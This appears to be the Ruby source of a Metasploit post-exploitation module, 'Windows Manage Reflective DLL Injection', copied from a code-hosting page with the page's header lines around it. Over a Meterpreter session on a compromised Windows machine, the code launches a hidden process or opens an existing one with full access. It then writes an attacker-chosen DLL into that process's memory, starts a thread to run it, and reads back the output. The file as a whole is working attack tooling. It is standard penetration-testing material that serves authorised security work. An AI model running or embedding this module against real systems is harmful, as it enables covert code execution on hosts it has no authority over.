208 lines
5.7 KiB
Ruby
208 lines
5.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Process
|
|
include Msf::Post::Windows::ReflectiveDLLInjection
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Manage Reflective DLL Injection Module',
|
|
'Description' => %q{
|
|
This module will inject a specified reflective DLL into the memory of a
|
|
process, new or existing. If arguments are specified, they are passed to
|
|
the DllMain entry point as the lpvReserved (3rd) parameter. To read
|
|
output from the injected process, set PID to zero and WAIT to non-zero.
|
|
Make sure the architecture of the DLL matches the target process.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['Ben Campbell', 'b4rtik'],
|
|
'Platform' => 'win',
|
|
'SessionTypes' => ['meterpreter'],
|
|
'References' => [
|
|
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ]
|
|
],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_sys_process_attach
|
|
stdapi_sys_process_execute
|
|
stdapi_sys_process_get_processes
|
|
stdapi_sys_process_getpid
|
|
stdapi_sys_process_kill
|
|
stdapi_sys_process_memory_allocate
|
|
stdapi_sys_process_memory_write
|
|
stdapi_sys_process_thread_create
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptPath.new('PATH', [true, 'Reflective DLL to inject into memory of a process']),
|
|
OptInt.new('PID', [false, 'Pid to inject', 0]),
|
|
OptString.new('PROCESS', [false, 'Process to spawn', 'notepad.exe']),
|
|
OptString.new('ARGUMENTS', [false, 'Command line arguments']),
|
|
OptInt.new('WAIT', [false, 'Time in seconds to wait before reading output', 0])
|
|
], self.class
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('KILL', [ true, 'Kill the injected process at the end of the task', false ])
|
|
]
|
|
)
|
|
end
|
|
|
|
def run
|
|
dll_path = ::File.expand_path(datastore['PATH'])
|
|
if File.file?(dll_path)
|
|
run_dll(dll_path)
|
|
else
|
|
print_bad("Dll not found #{dll_path}")
|
|
end
|
|
end
|
|
|
|
def pid_exists(pid)
|
|
mypid = client.sys.process.getpid.to_i
|
|
|
|
if pid == mypid
|
|
print_bad('Can not select the current process as the injection target')
|
|
return false
|
|
end
|
|
|
|
host_processes = client.sys.process.get_processes
|
|
if host_processes.empty?
|
|
print_bad('No running processes found on the target host.')
|
|
return false
|
|
end
|
|
|
|
theprocess = host_processes.find { |x| x['pid'] == pid }
|
|
|
|
!theprocess.nil?
|
|
end
|
|
|
|
def launch_process
|
|
process_name = datastore['PROCESS']
|
|
process_name << '.exe' unless process_name.end_with?('.exe')
|
|
|
|
print_status("Launching #{process_name} ...")
|
|
channelized = datastore['WAIT'] != 0
|
|
|
|
process = client.sys.process.execute(
|
|
process_name,
|
|
nil,
|
|
'Channelized' => channelized,
|
|
'Hidden' => true
|
|
)
|
|
|
|
hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
|
|
print_good("Process #{hprocess.pid} created.")
|
|
[process, hprocess]
|
|
end
|
|
|
|
def inject_dll(process, dll_path)
|
|
library_path = ::File.expand_path(dll_path)
|
|
exploit_mem, offset = inject_dll_into_process(process, library_path)
|
|
[exploit_mem, offset]
|
|
end
|
|
|
|
def open_process
|
|
pid = datastore['PID'].to_i
|
|
|
|
if pid_exists(pid)
|
|
print_status("Opening handle to process #{datastore['PID']}...")
|
|
hprocess = client.sys.process.open(datastore['PID'], PROCESS_ALL_ACCESS)
|
|
print_good('Handle opened')
|
|
[nil, hprocess]
|
|
else
|
|
print_bad('Pid not found')
|
|
[nil, nil]
|
|
end
|
|
end
|
|
|
|
def run_dll(dll_path)
|
|
print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?
|
|
if (datastore['PID'] > 0) || (datastore['WAIT'] == 0)
|
|
print_warning('Output unavailable')
|
|
end
|
|
|
|
if datastore['PID'] <= 0
|
|
process, hprocess = launch_process
|
|
else
|
|
process, hprocess = open_process
|
|
end
|
|
|
|
if hprocess.nil?
|
|
print_bad('Execution finished')
|
|
return
|
|
end
|
|
|
|
exploit_mem, offset = inject_dll(hprocess, dll_path)
|
|
|
|
if datastore['ARGUMENTS'].nil?
|
|
arg_mem = nil
|
|
else
|
|
arg_mem = copy_args(hprocess)
|
|
end
|
|
|
|
print_status('Executing...')
|
|
hprocess.thread.create(exploit_mem + offset, arg_mem)
|
|
|
|
if datastore['WAIT'] != 0
|
|
sleep(datastore['WAIT'])
|
|
end
|
|
|
|
if (datastore['PID'] <= 0) && (datastore['WAIT'] != 0)
|
|
read_output(process)
|
|
end
|
|
|
|
if datastore['KILL']
|
|
print_good("Killing process #{hprocess.pid}")
|
|
client.sys.process.kill(hprocess.pid)
|
|
end
|
|
|
|
print_good('Execution finished.')
|
|
end
|
|
|
|
def copy_args(process)
|
|
argssize = datastore['ARGUMENTS'].size + 1
|
|
arg_mem = process.memory.allocate(argssize, PAGE_READWRITE)
|
|
params = datastore['ARGUMENTS']
|
|
params += "\x00"
|
|
|
|
process.memory.write(arg_mem, params)
|
|
arg_mem
|
|
end
|
|
|
|
def read_output(process)
|
|
print_status('Start reading output')
|
|
old_timeout = client.response_timeout
|
|
client.response_timeout = 5
|
|
|
|
begin
|
|
loop do
|
|
output = process.channel.read
|
|
if !output.nil? && !output.empty?
|
|
output.split("\n").each { |x| print_good(x) }
|
|
end
|
|
break if output.nil? || output.empty?
|
|
end
|
|
rescue Rex::TimeoutError => e
|
|
vprint_warning('Time out exception: wait limit exceeded (5 sec)')
|
|
rescue ::Exception => e
|
|
print_error("Exception: #{e.inspect}")
|
|
end
|
|
|
|
client.response_timeout = old_timeout
|
|
print_status('End output.')
|
|
end
|
|
end
|